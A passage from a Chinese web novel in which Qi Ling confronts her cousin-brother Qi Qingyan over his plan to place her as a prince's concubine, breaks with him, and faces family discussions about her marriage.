“呵……还是你以为,今日在王府发生的事,祁家无人知晓?你的好兄长,可还会护着你?若我没记错,他今日可在祁家,早上送去的礼,是经由他手下人取进去的。” 祁泠站直了身,抬头望去,神情微敛,褪去温顺,她已然知晓温顺无用,在旁人看来是软弱可欺。 只见楚徇唇角诡异地扬起半分,嘲讽的模样,咬字时声音轻缓,带着尖锐欲刺破人心的恶意。 若卢肇月未提前将真相告知她,恐怕她此刻真会被这几句话击溃心神。 她的身世,祁家许多人知道。可那些人不是主子,便是主子身旁的比较亲近的奴婢。这件事在家中说,在家中闹,不约而同没传出去。 只说她是来历不明的养女。 当初卢家也不知道。 若想一件事被人知道,自然有千百种办法。杜仙露就偏巧在寿宴当日知道了,匆匆去寻卢肇月,正是要说此事。 发生在瑞安王府的事,五皇子也顺势知道,她的身世便不再是秘密。 卢肇月还与她说了五皇子身世。他生母是随行服侍的女婢,有孕后被接进府中,生下他就死了。因此,他幼时被士族子弟鄙夷、轻贱,内心极恨。 如今皇族和士族为首的几大家族之间有一个微妙的平衡。楚氏皇族欲将其除去,可才经两朝,根系尚浅,还是一部分世家捧出来的皇族,不足将其覆灭。 而士族几大家已对楚氏心生忌惮,彼此联姻,树大根深盘根错节。虽被皇室掣肘,不如从前肆意可在朝中说一不二,到底还有几分特权,谁家也不愿舍弃安稳,做出头鸟。 新帝已老,等到三皇子或是五皇子上位又是一番新情形了。 要是有个嫁去皇室的女儿,孕育子嗣,不说给家中通风报信,也总归能缓和关系,留条缓和关系的退路。 可这样的家族女,一朝生变,即为家中弃子。 楚徇道:“本以为你与本宫一同,是其中异类,会厌恶他们。那些人故作清高,行尽虚伪之事。本宫好心,欲将你拉出祁家,你不但不领情,反踩本宫一脚,打定主意与其同流合污。” 他话音落下,上前一步,抬手欲捏住祁泠下颌,被祁泠偏头避开,又听他一声冷哼,“且看祁家能护你到几时?待到彼时——” “定令你后悔今日所言!” 楚徇拂袖而去,走前意味深长地望祁泠一眼。隐忍又倔强,只会令人更想折去她的傲骨,看她哭泣求怜的模样。 兀自无言回了祁府,比来时更压抑。下马车之后,祁泠同跟着她的听荷道:“你回去禀老夫人吧,我先去一趟琅玕院。” 听荷忧心望她,到底还是转身去瑞霭堂回话,这也是老夫人意思。而祁泠独自走向琅玕院,这段不远的路足够她将一切想清。 不管别人说,她亲耳听到才是真切。所以,她要去亲口问问祁清宴—— 他所做的一切,意在让她为家族献身,去五皇子府做妾吗? 走到院前,见到沉弦。 沉弦尚不知道发生何事,欢欢喜喜迎上前去,“三娘子来的可巧,郎君今日在呢!不过谢郎君比娘子早来一步,娘子候上片刻,我先进去报于郎君听。” “嗯,去吧。” 祁泠尚且能维持平静,想着没什么好委屈的,世间到底没有白得来的好,是她犯傻。只是想起往日,鼻尖发酸,胸腔被涩意填的满满当当。 20、第二十章 “好啊,三郎。” 谢子青方同一众郎君去城东狩猎,进屋时一身裤褶服,圆领襕袍,裤脚束紧便于骑射。他几大步走到案桌前,语气发酸—— “我说你为何不肯将你那三妹养到我家,原是打着这样的算盘——” 今个闷热,琅玕院内到处都洒透了水,书房内里的冰鉴放着满满整块的冰,散出来的凉气萦绕于室。 祁清宴坐在案前,挺拔端正,案上堆满帐册。他双手执卷,正垂头凝视着卷中字,被来人烦到,隽雅面容之上长眉轻蹙。 嫌弃,明晃晃的嫌弃。 谢子青满腔抱怨欲倾诉,在这嫌弃之下猛然停下脚步,他用力嗅了嗅,才察觉他自个身上带着几丝汗酸的臭味。 谢子青静默几瞬之后无语至极,祁清宴不常和他们出去耍,他也了解他的性子,只好摆摆手,往后退了一步,才又开始幸灾乐祸。 “这时用美人计,缓和关系,遮人耳目,这计策倒是不错。只可惜,你妹妹不愿呀,你的算盘没打响呀。” 祁清宴做事大多沉寂无声,悄悄便完了,谢子青喜见他也有吃了个暗亏的时候。 祁清宴神情未变,看完一本账册将其合上,抬手推了推带子还未拆开的几卷册子,“你有闲心打听这个,不如算算帐,再多筹银子出来。” 谢子晴才不干,“我又做不来,你多劳累些就是了。只是你们家这回把五皇子得罪狠了,恐怕以后他更厌恶咱们……此事无可转圜了?你们家当真由着个小娘子做主?” “随她。”祁清宴整理衣袖,将账册收起,起身。这两字说的轻松,仿若祁泠拒绝的是一顿午膳。 谢子青遂略微诧异。他们这般的人,所作所为皆是权衡过利弊的,今日之事算没有一丝好处,连塞翁失马焉知非福都谈不上。 将睚眦必报的五皇子得罪到这份上,祁清宴不但没有反应,事关祁家,他竟任由一个女儿家任性决定。 他不免疑惑,“三郎,你可是还谋划着什么?这回可要事先告诉我一声。” 此时,叩门声响起,沉弦语气轻快,“郎君,三娘子来找你了。” 谢子青眼瞧着祁清宴归纳账册的动作停住一瞬,他笑而离去,“不扰你了。你算好了,你妹妹来找你算账了。” …… 他看热闹不嫌事大,从书房出去时,看见祁泠,又同女娘笑着道:“三妹妹,可是找你哥哥有事?他正在里面呢,你——” 祁泠敛衽一礼,唤了声谢郎君,略侧着身绕着他走过了,谢子青的话剩在嗓子,他也不在意,摇头笑着走远。 往日里,因着祁清宴,祁泠对他的友人也有几分敬意,总觉能相处在一处,也应如他一般清正。 如今她才知道都是假的。 连应付都懒得应付。 她径直走进书房,祁清宴正站在书架侧,回眸望他。 “今日,瑞安王妃唤我去府上,听荷听祖母的话与我同去,遇到了五皇子,他说要纳我为侧妃……” 祁泠说着说着,忽而喉间一哽,来时一路想要问出口的急切,忽而消散,只挤出口,问一句,“兄长,你知道么?” “我知晓。”祁清宴答得干脆利落,没有一丝犹豫。 果然。 卢肇月和五皇子说的都是真的。 他什么都知道,只作壁上观。 祁泠望着对面的如玉郎君,温和兄长,往日曾经一同相处的时日不觉浮现在眼前,一时酸涩涨满心间,心脏若被一只大手抓住,紧紧揪着,连开口说话都变的艰难,“所以……” “你早就有了将我送人的念头。可我身份不正,故设计让我救了小世子,与瑞安王妃扯上关系,为的是……到了今日,她会收我作义女,日后助我几分。” “其余事,是你看出我对祁家并无亲近意,无血缘,关系薄弱。纵有朝一日如你所愿,成了皇家的嫔妾,也对祁家全无好处,所以你处处施怜,帮扶于我,是为此么……兄长?” 她一字一句说着,强忍着哭意,眼中泛起一片濛濛雾气,氤氲了视线,望不清对面的人。 祁清宴一如既往淡漠,并不惊慌,其实内心并不以为这是一件比天大的事。只是……他望着她眼中泪珠映出的光晕,心忽而一痛,似被线轻轻扯动,痛感来去匆匆,倒让人觉得是错觉。 他收回心神,在她复杂的眼神中轻声道:“阿泠,先别哭了。”语气隐有几分无奈,却又平淡。 未能她一点情绪。 “我没哭!” 祁泠忽而喊着说出来,她情绪向来稳定,时而带着一点小羞赧,头一次这般大声,祁清宴愣了一瞬。 甫一眨眼,泪却噼里啪啦地从她眼眶中滚出,从面庞滑落,沿着下颌汇聚。 祁泠再抬头望他,被泪洗过清亮的眸中生出几丝怨又是恨,“是我自作多情,我生母出身低微,不明不白,又怎配与你相提并论?自以为是你妹妹,不过是我痴心妄想罢了。” 祁清宴面上的轻松意消失殆尽,听着祁泠说的话,倏然烦躁起来,但无法否认,他并未忽视过她的出身,一开始帮扶她未尝没存利用的心思。但他拧眉问:“不好么?” “什么?” 他上前几步,抬手,温热的指腹抚上她脸庞,擦去眼侧的泪,垂眸望进她的眼,“妹妹既有美貌,为何要屈居人下?有祁家做靠山,我亦会为你筹谋,一如往昔。” “为妾只是一时,以妹妹心性,有朝一日未尝不会成为后宫之主,世间最尊贵的女子。那时将曾经刻薄于你、看不起你的人踩在下面,不好么?” 难过翻山倒海地涌来,让她几乎喘不过气来,狠狠打落他的手,又往后退了一大步! 深深地呼吸几口,喘过几口气来,祁泠才反驳他,“不,不好!不是这样,你从未将我看做妹妹,亲人。” 祁家有几个女儿,哪一门婚事不是有好日子在后面的。为何道皇室尊贵?他从未将皇室放在眼中不是么? 不然怎会去设计小世子落水,此事能成,足矣证明他在王府至少有耳目。可他只知道她从江州来,江州多水,若是她不会水,或没去救怎么办,眼睁睁目睹小世子溺死么? 他对皇室没有一丝敬畏之心。 又怎会真心觉得皇家是好去处。若是成为后妃、皇后真的是好事,也轮不到她了。 “祁清宴……”这三字萦绕祁泠唇齿之间,缓缓溢出,“清明宴安,不染尘世污浊,宴乐山水世间……” 她攥紧桌角,桌上还放着她送来的檀木盒子,心抽疼,“祁清宴,你高高在上,戏弄所有人,居高临下看着旁人由你摆布。” “可我是人,”她抬眸望着他,泪从眼角滑落至青丝间,声音发抖,“你为父母期盼所生,名字是美好寓意,我身世不明,或许生母不想我出世,将我丢弃,生父不知我的存在。我是卑贱,你视我卑贱,可我也是人——” “你口中的筹谋,是我未来日日夜夜要熬过的日子!我不求夫婿家财万贯,呼奴唤婢,他怜爱我便好。宁居陋室,我与夫君,诞育子女,这是我唯一期盼。” “从前是我不懂事是我错了,我以为真心相换便好。却不知这世上,身份之隔如铁壁,亦有如你一般无心无情之人。” “阿泠。” 祁清宴脸色有些发沉,没了以往的游刃有余,嗓中带了几分斥责。祁泠止了声,哭噎起来。她说的话太过难听,他心里翻涌着、鼓动着一种极其烦躁的冲动情绪,下意识不想再听这些。 可当她偏过头,默默啜泣,祁清宴垂落袖中的手,手指又忍不住微微抬起,想要擦去泪珠。 他抿抿唇,“一开始我是有异心,想送你去皇子府中,皇家是缺与皇室交好的人。但日后渐渐歇了那个心思,若你愿意也好,可你不愿,便罢了。” “以后你我兄妹与从前一般无二,阿泠——” “不要再喊我阿泠。”祁泠转过头,眼眶发红,长睫颤抖沾泪,她嘴唇也发抖,说出的话却清晰,“……我亦没有你这般的兄长。” 20-30 第21章 第二十一章【VIP】 祁泠说完便欲离去,身后脚步声急促,手腕被猛地握住。 书房内里明净透亮,她回过头,一丝一毫的微小表情动作都躲不开祁清宴的视线。 她此刻抗拒又讨厌他。 感受到她往后拽去欲摆脱的力气,掌心那截手腕滑腻,祁清宴后知后觉,一时不知方才是如何想的,竟急急上前拦住她。 愣怔之际,他微松了手,察觉到祁泠的手即将彻底抽离时,他又握紧。 祁泠用另一只手用力推搡着他的手,“松开我——” “世事不是非黑即白。”祁清宴道,末尾阿泠两字被他隐入嗓中。 祁泠听不进去也推不开他,转头望见案桌上的盒子,她早上吩咐银盘送过来的,里面应当整整齐齐叠着几方帕子。看来他未打开,她从前送来的糕点他不要,手帕怕是也惹人嫌弃。 不是嫌其礼轻,只因是她送来的。 他们之间,本便不该有一丝关联。 祁泠倾身过去,胳膊用力一摆,盒子砸落于地,衔接处的铜锁破裂,内里的帕子全落在地上,清一色的素纱,只以绣着的图案分辨。 祁清宴松开了手。 祁泠拽着裙角,快步走出书房,并未回头。 沉弦和青娥在院中听到了内里争吵的声响,可没传出吩咐来,两人只好守在门口,看到祁泠面庞带泪出来。 沉弦不知生了何事,只跟着祁泠往出走,又问:“娘子,你怎么哭了?” 青娥猜到估计是出了差错,想着这些时日大房和二房亲近起来的关系,她伸出手去扶祁泠:“娘子,可要重新梳洗过再走?”若这副模样出去,一路上少不得要惹人闲话。 祁泠别过头,匆匆道句不必。 既已得到确定的回答,她也不愿在此久留,这边到底不是她该呆着的地方。 可走在回二房路上,她又止不住地啜泣,用力咬着唇止住了哭音,不该去恨他狠心无情,也不会再念及他施舍的好,只应怪她自己轻信于人。 不知回到二房又会是怎样一番场景,祁泠走在竹林中,闻不见往日沁鼻的清淡竹香,脚步慢下来,青娥说的话到底还是提醒了她。 她抽了抽鼻子,脸颊细嫩白腻,隐隐约约透着几分生气过后的红,拿出袖中手帕,擦干脸上的泪,帕子又覆在眼睛上,薄纱吸走睫毛上细小的泪珠。 …… 祁泠走后,室内静得彻底,她哭诉声渐随风散去,只余地上散落的五方帕子。她如此生气,没动其他东西,满室整齐,只丢了她送来的帕子。 她向来是极其有分寸感的娘子。 祁清宴垂眸望着地上的帕子,良久,思绪纷乱,直到沉弦进门,轻声道:“郎君,听荷姐姐来了,老夫人唤郎君过去说话。” “知道了。”祁清宴淡淡应了一声。 他一进瑞霭堂内里,见老夫人榻下跪着祁泠,与他一样,都被唤了过来。 祁泠没注意到他,在下方叩首,未等老夫人开口便主动道:“祁家对我的养恩难报,如今有能报答的机会,我应……” 她说着哽咽起来,压抑着难过,垂头说话时眼泪无声砸在地上,“只是……那样的日子非我所愿,亦不奢能再嫁。愿守家庙,终身不嫁。” 老夫人听这话后抬眼看向祁清宴,祁清宴脚步一顿,随后,走到门侧的扶椅坐下,没说话。 沈老夫人半起身,将祁泠拉起来,到近处,让小姑娘的头靠在她肩膀上,拍拍祁泠脊背,安慰道:“哪里就到了守家庙,当尼姑的地步?让你自己去,只是表明没有长辈授意你而已。若是舒丫头还没嫁出去,被瞧上了不愿意,也还是要她自己去拒的好。你是祁家的孩子,说句不愿意也没人会逼你,只是话要从你嘴里说出来——” “这才是你们自己的意思,不是家里权衡利弊后的拒绝,那样太不好看了,可明白了泠丫头?” 祁泠含着泪点点头,老夫人将她揽在怀里,摸摸她饱满的额头,“如今是你得罪了人,祁家会护着你,直到家里有朝一日倒了,覆巢之下无完卵,你才再无依仗……可那时也不是绝路,只要能好好活着,什么坎过不去呢?我当初是前朝余孽,险些被逼自缢宫中,不还是逃了出来。若我真的死了,孩子都小,祁家怎么办?” “还有,你姑母,别看她如今没心没肺,当初带着一双的儿女归家,我替她养着孩子,她却不想活了,整日着,人看着都要不行了。我骂了她一通,夫君死了又怎么样,过活,自己的子女自己教养。一日复一日,她也熬了过来,这 “你还年幼,这是只一件小事,女儿家说在后面呢,等会儿回二房去见你母亲,她身子不好,瞒着她些, “去洗把脸,回。 祁泠不停抽噎着,从嗓中传出几声含糊的应和来,被听荷扶着起身,去了后罩房净脸重新梳妆。 “你啊,你啊……” 等祁泠走没影了,,抬手按了按额头,才道:“当日我和你说的话,你一点没听进去,压根的,是不是?” “是。”祁清宴承认。 一开始确实完全不同。祁泠只有祁姓是祁家的,说是堂妹,但与他没有丝毫亲缘联系,又从未见过,与陌生人无异。 如今是对其生出袒护意,可到底也与从小看着长大的祁望舒不同。他会帮祁望舒,也会说几句话,但绝对不会将人留在琅玕院。 祁泠方才说的去守家庙,那通常是夫婿死了,为了守节的寡妇会去的地方。她确实是深思熟虑想过的,这样不会得罪皇子府,她自己担罪。 他清楚地意识到,确实与当初不同,起码他无法忽视祁泠的言辞,他亦按了按发紧的眉峰,忽略心中泛起的异常酸胀,“是孙儿的错,她的事祖母不必担心,我会尽快替她寻门远些的亲事,先将婚约定下,堵上皇家的嘴。” 沈老夫人在那侧酝酿许久的话,被祁清宴这番话给堵回去,她看着改口认错极快的孙子,也知道以祁泠的容貌,被外面位高权重之人看上也是常理之事,他在其中也没做什么,顺手推舟而已。 她眉角下压,也有几分乏,没将话说得太明白,嘱咐着:“都一家人,你仔细定好人选之后,让泠丫头自己挑……也拿我这来,过过目。” 祁清宴应是,当然明白祖母所想,虽然将事情给他去做,祖母怕是还不放心。 今日事他确实置身事外,并未插手,事已至此,总要按当初的想的走下去。 可他已经知晓她的性子,也与她熟悉起来,比寻常的兄弟姐妹关系都要好,他又怎会不知她肯定不愿? 她若应允便是计成,若不愿……回来他也不会强迫她去。 只是算账时心神不宁,原本往日能将所有账册全部核对完,今日却只对了一多半,又想着—— 当初卢家的亲事,府上独子正妻,她因纳了个妾室便不愿了,又怎会想去二皇子府,做众多妾室中的一个? 可她万一鬼迷心窍地同意了呢。 直到谢子青到来,他反覆斟酌的心才彻底落下。 又被祖母再三嘱咐,祁清宴忽然有一丝疑惑,为何祖母对祁泠如此袒护,仅仅因为怜惜么? …… 祁泠回到辛夷阁,银盘站在门口踮脚,探头探脚地望,见到祁泠,她立马几步快跑过去,挽着祁泠的胳膊,一双大眼睛瞧着祁泠脸色,企图看出个所以然来,但像锯了嘴的葫芦似的,一个字也没说出来。 祁泠再往前走几步,就明白银盘为何会如此反常了。 辛夷阁前还站着银盘的姐姐玉盘。玉盘向来陪在冯夫人身边,所以祁泠在听到冯夫人让她过去一趟时,也不惊奇,只是估摸当下的状态不好,眼睛肿了,所以道:“我去更衣,然后再去寻母亲。” 祁泠回屋,再次用凉水净了脸,换下在外折腾半日的衣裙,挑了身料子柔软的长裙,重新盘了发,这才跟着玉盘一同去正院。 祁云漪被哄着睡在侧屋,屋内只有冯夫人,连嬷嬷都遣了下去。 祁泠进屋之后坐在榻旁,趴在冯夫人的怀里,嗅着几丝药的微苦,藏着哭音,许久才轻声问出来,“母亲,我生母当初为何不要我?” 冯夫人便知晓,她今日受了委屈,但事情差不多已经过去了,也不必再提了。 她摸了摸祁泠的头发,了然问道:“是不是嬷嬷告诉你的?” 祁云漪不在,她靠在冯夫人怀里用头蹭了蹭,独自占着冯夫人当母亲,“不是。”又含糊道:“是小时候无意间听到的。” 听到后她又不敢问,只好将事情埋在心里,长久下来,在心里结出几颗苦涩的果来。 那是她很小,刚听说自己不是亲生时候的事,闲言碎语听多了,有些不敢亲近冯夫人。嬷嬷便告诉她,是她生母不要她了,她只将冯夫人当成娘亲就好。 冯夫人道:“没有不要你。” “那她……过世了?”祁泠只能想到这个。 冯夫人摇了摇头,“这个我倒是不知,只是她不能亲自养你,和你生父一同离开了。不要难过阿泠,日后,或许有朝一日你还能见到呢?” “真的?”祁泠惊喜过后又感觉不对,但冯夫人抚着她脸庞,笑着点点头,她内心升起一瞬间的雀跃,又很快变淡了,她贴在冯夫人膝上,“母亲,不是你待我不好,只是我偶尔会想,如果周围都是亲人,该是什么感觉?” 不必伏小做低,装作懂事,能像祁家的娘子们一样肆无忌惮,随意娇嗔。 冯夫人将祁泠抱在怀里,就像抱小孩子一样,两只手环着她,叹了口气,语气却温柔,“今晚陪我睡吧,阿泠近日多陪陪我,不要出门去了。” …… 祁泠次日回房,顺便将祁云漪也领到辛夷阁。小孩子压根不知发生了何时,只看出姐姐心情不好,但她最是能撒娇闹腾,也让祁泠心情渐渐平复。 只是老宅那边,她近日不再去。 即使伤心,但她从来都知道自己不是祁家亲生的孩子,这份落差慢慢也消失殆尽了,又恢复了从前在江州的日子而已。 侍奉母亲,照料幼妹,她比在江州时出门还少,几乎整日都在二房的院子里,一连六七日都未踏出过院门。 这日晚间,她熬了些润嗓的梨汤送去正院。冯夫人身子见了好,但咳嗽的老毛病还没好全,祁云漪今日去三房玩累了,睡熟过去,便没带她。 只有银盘提着食盒,祁泠拎着盏灯,两人作伴到正院去。 从前冯夫人安寝前只留几盏烛灯照亮,今日内里却点了四周的架子灯,离远看得还模糊,越走到近处,瞧得越清晰,里面确实比寻常亮上太多。 玉盘正巧从屋里出来,望了眼妹妹,走近接过祁泠手中灯,眉眼之间喜忧参半,压低了声与祁泠说:“大人来了,和夫人说了几句话,两人竟又拌起嘴来,如今正冷着彼此,娘子进去看着劝上一劝吧。” 底下这些人皆盼着二房这对夫妻能重修于好,二十年的夫妻了,总归有情分在。 二房只要冯夫人还能理事,一切还是把持在正院手里,是那边的柳姨娘如何温柔小意,殷勤服侍也不会变的事。 可若是有朝一日,情分变了呢?冯夫人又无子嗣,家世不显,到时候只能看着人家郎情妾意一家和睦罢了。 祁泠将羹汤分盛了两碗,银盘等在门口,玉盘端着托盘随着祁泠入内。 冯夫人坐在窗边的罗汉榻下,偏着的头瞧着透进窗中的微薄月色,应是打算安寝了,又从床上起来的,寝衣外面披散着一层外衣,背对着人。 祁观复坐在榻对侧的椅子上,从外归来换了一身墨色常服,这些时日换了清闲的职位,却比从前瘦上几分,一双略微褶皱的眼望着窗边发妻。 想说又不知要从何说起。 祁泠走到内里,先俯身请了父亲母亲安。 冯夫人转过身望着进来的长女,视线偶然一错,同对面的祁观复对上,她抿抿唇,别过头去。 “阿泠来的正好,你母亲方才咳了几声。”祁观复道。 祁泠将瓷勺放进碗中,递给冯夫人,冯夫人确实嗓中不舒服,接过去喝了起来。 祁泠又走过去,将另一碗递给祁观复,“还有许多,父亲也用些吧。” 祁观复接过,放在一旁晾着。冯夫人拿勺舀起,一小口一小口慢慢喝。 他想起什么,忽而道:“以后的羹汤,让你母亲喝慢些,温食养胃,她总喜吃烫些的,你在她身旁照顾好她。” 即使隔些时日才会见上一面,但夫妻之间有旁人不知晓的小事。祁泠不知这点,惊讶过后还没来得及答应,冯夫人已然动怒—— “吃食顾及,住行照顾,她是女儿不是婢女!” 祁观复无奈道:“我哪里是这个意思?云漪还小,少不得阿泠陪着你。”他不与发妻争辩,惹其不快,只是转过去与祁泠道:“你母亲与我动气,是因我寻了些可以结亲的人选来。” “皆是峤儿的同窗,品行过得去,如今只是定下亲事,婚期远,如你有意,瞧一瞧也无不可。” 峤儿。祁雪峤只比祁泠大上几月,他的同学恐怕也是差不多的年纪。祁泠便知晓了为何冯夫人会动怒,只是定下亲事,她要在家中呆上几年才能出嫁。 一为避避风头,二来她也可以长留在冯夫人身边。冯夫人不愿耽搁她,才会生气。祁泠却不在乎,她道:“母亲,父亲,我愿意的,能在家中多留些时日,我亦欣喜。” 可她之前也曾满心期许过嫁去卢家,冯夫人全都看在眼中,只是一时未遇良人而已。 她道:“阿泠,如果遇到合适的郎君,你又想嫁了怎么办?等上两三年,你便年岁大了,不行,我绝对不同意。” “况且,阿泠的婚事这回需要到老太太回话,你先去与老太太说,那边通了气,再来问阿泠!” 祁观复辩驳着好处,嫁到这些人家去,他们完全能护住祁泠,必会看祁家脸色,只要祁家不倒,一辈子不会忧愁。而冯夫人说着坏处,夫妻两个你一句我一句,一时停不下来。 祁泠默默告退,回去陪祁云漪了。 两人算不上和睦,但也没大吵起来不是? 祁观复说不过,只好答应明日从府外归来要先去瑞霭堂问老夫人一趟,老夫人不允便算了。 他许诺完,室内措不及防静了下来。 “天色晚了……栖梧,我与你细说这几家的家世如何?” 一个借口而已。 两人都明白,冯夫人扯了扯披风,嗓间又泛起又痛又痒的咳嗽意来,不过被她死死压下去,面上没露出一丝异常来。 直到祁观复将声音放轻,“我们许久都没好好说过话了。” “你走罢。”冯夫人声音几分嘶哑。 身后的人站起来,她听到椅子拖地的吱嘎声,知道他视线停在她身上许久,有多久?一盏茶,一炷香,总归久到令她侧坐的腿脚彻底麻木,他才离开。 他只在走前留下一句,“多照顾着你自己。” 冯夫人习惯了独处,入睡之前,忽而想起当年新婚燕尔时。两人恨不得时时呆在一处,他若有事未归府,她便不用膳,一直等着,在小二门迎着他回来,只希望他一进门就能看见她。 她为新妇,紧张又羞涩。而对外肃*然的祁观复上前主动牵住她手,两人一同回房。 路上,他笑着听她说着在府中发生的事,无外乎是婆婆妯娌,祁家的几个小孩,一些琐事至极的小事。 可那时候的话怎么说也说不完。 一恍然二十年,夫妻已然无话,再回不去从前。 …… 老夫人当然不同意,将祁观复唤好一顿说,这么做未免太委屈祁泠,大好年华全都留在家中,不必为了躲着皇室做出这样的事来,只需择一门简单的婚事便好。 祁泠也被喊过去说了一顿。 她自己也不应该愿意。 祁泠走后,沈老夫人又不免想起她的婚事要紧,喊了听荷过来,“去看看三郎在家中不?” 听荷笑着掩唇,走上前给沈老夫人捏了捏肩,“老夫人,不用去问我都知道。” 老夫人疑惑问道:“怎呢?” “三郎君就在外面呢,方才奴婢去送三娘子出门,远远瞧见三郎君撑着伞来了,外面下着酥酥小雨呢。” “他来了,怎么没进来?”老夫人问着。 这个听荷就不知道了,也答不上来。老夫人摆摆手:“罢了罢了,想来是遇到了什么事,下着雨,也不必再麻烦一趟去唤他了,等会儿他一定会来的。” 听荷附和着:“可不是,三郎君住在外面,每次归家都会来看老夫人,就是不去大夫人那请安,也会来瑞霭堂的。” 老夫人嘴角抬了抬,不是那么的爱听,听荷也看出来了,知道自己说错话了,识趣的不再多说,垂头下去只将等会要用的糕点茶水摆了出来。 不亲近她还能怎么样? 沈老夫人只在心里叹息,亲娘是个不靠谱,讲不通情理的,父亲又不亲近,她这个当祖母的再不亲近,阿质也太可怜了。 外面的小丫鬟进来通禀,“老夫人,小郎君来了。” 祁观岚身边的一位大侍女抱着粉雕玉琢的阿濯来,阿濯伸着胖乎乎的小手,软糯糯嚷着:“大母,抱抱。” 沈老夫人只有再长叹息一声的份,两只手用大力气,勉强还能抱住愈发沉的阿濯。她低下头细细端详着,这孩子圆长的脸蛋,偏短的下巴像祁观岚。 一双正圆的虎眼,不算高挺的鼻子…… 亲爹是谁呢? 真是愁人啊,各房都有各房的愁人事,没有一个人是省心的。 愁人归愁人,到底是她的嫡亲外孙,沈老夫人抱着阿濯起来又放下,逗得阿濯哈哈笑。 …… 瑞霭堂外,祁清宴撑伞驻足,身后跟着沉弦,沉弦身量太矮了,不然便让沉弦来撑伞。青娥手里拿着锦盒,独自撑伞,跟在最后面。 不过片刻前的事。 主仆三个还没走到瑞霭堂,便见门前出来一位青衣女娘,外系披帛,撑着一油纸伞出来,转身走去二房的方向。 离得太远,可从琅玕院出来的这三人全都看清了,那是祁泠。 寥寥雨幕,亦能看清,伞沿抬起,女娘朝他们这边望了一眼,没有丝毫犹豫转身而去。 等祁清宴走到近处,只能见雨中一抹渐行渐远的青色。 青娥也看清了,拿住手中锦盒,看了一眼祁清宴,他面色无异,只道:“你俩先回去吧。” 青娥便默默将锦盒收进袖中。这送于三娘子赔罪的礼,郎君今日是送不出去了。 沉弦歪了歪头,他也不明白到底发生了何事,只知道三娘子有意疏远琅玕院,这段时日都没再来,也不再像从前那样三天两头送东西来。 就连在瑞霭堂也遇不到了。 沉弦怕祁清宴生气,便为祁泠解释道:“郎君,是咱们走得太慢了,郎君莫怪三娘子,娘子肯定没看到咱们。” 青娥也不知道这孩子有时是真傻还是假傻,垂下头,沉弦只觉被祁清宴看了一眼,他人和伞一齐毫无征兆地走了。 沉弦被雨淋了,连忙跑进青娥伞下,搓着收,还不忘与青娥念叨:“下次咱们早些来吧。” 早些来也无用。 每次祁清宴来老夫人的院子,大多只能望见她走远的身影。 一日,他归府早些,没从走惯了的正门走,反倒走了侧旁的小门,身后跟着贡嘉,这条路人少,紧挨着通往二房的小门。 走这条路回琅玕院,要从一片园子中穿过,祁清宴走了一盏茶,临近二房的小门,远远见到葱茏的草木前站着两人。 祁清宴脚步不禁停下。 祁泠从瑞霭堂中回来,被从外回来的祁雪峤拦住了。 祁泠问:“你有何事?” 祁雪峤手中抱着好大一个木头箱子,先唤了声,“泠妹妹。”在祁泠催促目光之下才把请求说出口,“泠妹妹,我们学堂收集了些散落民间的佚名诗,需要我逐一分类,再编纂成册……可我近来要复习课业,妹妹可否帮我?” 他只能在这里拦住祁泠,若是在二房的院子拦,少不得被人看见,被他姐姐和姨娘身边的人瞧见,通风报信过去,他又要被骂了。 祁泠也知道,她问:“为何不寻祁云漱?” “妹妹还不知道长姐?”祁雪峤垂下头,道:“她怎会帮我做这个,不幸灾乐祸我做不好,骂我笨便是好事了。更何况当初父亲教我们识字作诗,我记得妹妹很擅长解诗。” “她不帮你,外面精通于此的师傅也多,你不如去府外寻人。”祁泠打心底里不想与他走近,转身欲走,听得身后的声音低落,“我放心不下……” 祁泠回过头去。 祁雪峤抱着一大箱子,低垂着头,少年个子这几年窜的很快,她记得他从前还没有她高,如今垂着头都比她高出半脑袋,清秀的面上露出几分稚嫩的可怜沮丧。 祁泠听说过,祁云漱处处争强好胜,总说她才该是男子,而不是性子软又没出息的祁雪峤。柳姨娘虽然偏心祁雪峤,但为了他有出息,处处严格要求他,也不常护他。 她倏然想到,大夫人对她的偏见,与她如今对祁雪峤,不也相似? 她顿时心间一悸,道:“我许久未动手,已然生疏,恐怕会有错处。” 语气依旧冷冰冰的。 祁雪峤下意识还以为是些拒绝的话,低垂着头,心里酸酸的,但反应过来意思猛然抬头,眼里一闪闪犹有亮意。 祁泠稍歪头看他。 祁雪峤这才如梦初醒,笑得比花还灿烂,“不碍事的,泠妹妹,你放心去做好了,我只信得过你,等到你整理好我去取!” 他还是怕祁泠反悔,略一犹豫,双手伸直将盒子递过去,祁泠顺着接住了。 他道:“泠妹妹,我们一起回二房吧,我远远跟着你,与你说有何处需要注意。” 祁泠点点头,应了下来。 之所以答应,是不想成为对旁人自有偏见的人,她到建业这般久,心性也有几分变化,柳姨娘的事,其实与她的儿女并无关系。 尤其是祁雪峤,从未对冯夫人不敬。 同时,祁泠想着自己近日又没有事,帮一下也无妨,他看着这般可怜,又不会算计她什么。她抱着盒子转身,余光瞥见不远处的郎君,她脚下一停,只一停。 她没转身去看,不确定那人是祁清宴,也无需确认。 而祁雪峤难得能与祁泠说上话,欣喜的心在狂跳,快走几步跟上祁泠,察觉距离过近,怕她不乐意,又往后退了两步,跟在她后面走了。 祁泠是不想上前,不想和祁清宴说话。祁雪峤纯粹是注意力太集中,完全没看到祁清宴。 两人隔了大概七八步远,一前一后走进了去二房的小门。 这边园中的人还没离开。 祁清宴摩挲着袖中更加精致的檀木小盒,上缀明珠,精致华丽,他问:“二房不是关系不好,她们两个何时走这么近了?” 两人离得远,也看不清,只见祁雪峤先凑上前去,随后低头沮丧,被祁泠安慰了几句就欢喜雀跃,一同回去了。 “属下也不知道。”贡嘉搔了搔头,他时常住在外面,哪里知道刚回建业的祁家二房的事? 但主子问话不能不答,他道:“但属下琢磨着,关系好也正常,都是二房的人,又一起在江州长大,而且郎君的堂弟看起来就是个没心眼的,三娘子也不会刻意疏远他才是。” “明日还是你守院,让你哥哥来。”祁清宴转身离开。 贡嘉内心喊着不要,又不敢反驳,只能闷闷踢飞脚下石子,满心憋屈跟上去。看院子太过无聊,还不容易轮到换活的日子,只一日又要回去。 可怜他什么都不知道,平白戳了人痛处。 翌日,祁泠带着祁云漪来给老夫人问安,她来的格外早,辰时未到便到了瑞霭堂门口。最近她都是隔个三五日一来,陪着老夫人用过早膳,再小坐片刻就离开了。 有时即使祁云漪要留下,祁泠自己也回二房去,绝不久留。 天方亮起,仍有一层雾气在,祁泠牵着祁云漪走进院中,草石之上还覆着一层薄露。 